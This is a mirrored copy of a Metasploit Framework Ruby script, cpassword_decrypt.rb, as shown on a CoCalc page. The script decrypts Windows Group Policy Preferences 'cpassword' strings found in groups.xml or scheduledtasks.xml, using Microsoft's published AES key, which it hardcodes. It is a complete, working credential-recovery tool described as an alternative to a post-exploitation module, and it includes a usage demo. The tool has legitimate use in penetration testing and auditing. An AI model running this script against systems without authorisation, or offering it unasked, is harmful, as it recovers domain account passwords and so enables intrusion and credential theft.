CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/tools/password/cpassword_decrypt.rb
Views: 11766
1
#!/usr/bin/env ruby
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
#
9
# This script will allow you to specify an encrypted cpassword string using the Microsoft's public
10
# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
11
# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
12
# decrypted string for you.
13
#
14
# Tested Windows Server 2008 R2 Domain Controller.
15
#
16
# Authors:
17
# Ben Campbell <eat_meatballs[at]hotmail.co.uk>
18
# Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
19
# scriptmonkey <scriptmonkey[at]owobble.co.uk>
20
# theLightCosine
21
# mubix (domain/dc enumeration code)
22
# David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
23
#
24
# References:
25
# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
26
# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
27
# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
28
# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
29
#
30
# Demo:
31
# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
32
# [+] The decrypted AES password is: testpassword
33
#
34
35
msfbase = __FILE__
36
while File.symlink?(msfbase)
37
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
38
end
39
40
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
41
42
gem 'rex-text'
43
44
require 'msfenv'
45
require 'rex'
46
47
class CPassword
48
49
#
50
# Decrypts the AES-encrypted cpassword string
51
# @param encrypted_data [String] The encrypted cpassword
52
# @return [String] The decrypted string in ASCII
53
#
54
def decrypt(encrypted_data)
55
# Prepare the password for the decoder
56
padding = "=" * (4 - (encrypted_data.length % 4))
57
epassword = "#{encrypted_data}#{padding}"
58
59
# Decode the string using Base64
60
decoded = Rex::Text.decode_base64(epassword)
61
62
# Decryption
63
key = ''
64
key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"
65
key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
66
begin
67
aes = OpenSSL::Cipher.new("AES-256-CBC")
68
aes.decrypt
69
aes.key = key
70
plaintext = aes.update(decoded)
71
plaintext << aes.final
72
rescue OpenSSL::Cipher::CipherError
73
# Decryption failed possibly due to bad input
74
return ''
75
end
76
77
# Converts the string to ASCII
78
Rex::Text.to_ascii(plaintext)
79
end
80
end
81
82
#
83
# Shows script usage
84
#
85
def usage
86
print_status("Usage: #{__FILE__} [The encrypted cpassword string]")
87
exit
88
end
89
90
#
91
# Prints a status message
92
#
93
def print_status(msg='')
94
$stderr.puts "[*] #{msg}"
95
end
96
97
#
98
# Prints an error message
99
#
100
def print_error(msg='')
101
$stderr.puts "[-] #{msg}"
102
end
103
104
#
105
# Prints a good message
106
#
107
def print_good(msg='')
108
$stderr.puts "[+] #{msg}"
109
end
110
111
#
112
# main
113
#
114
if __FILE__ == $PROGRAM_NAME
115
pass = ARGV.shift
116
117
# Input check
118
usage if pass.nil? or pass.empty?
119
120
cpasswd = CPassword.new
121
pass = cpasswd.decrypt(pass)
122
123
if pass.empty?
124
print_error("Nothing was decrypted, please check your input.")
125
else
126
print_good("The decrypted AES password is: #{pass}")
127
end
128
end
129
130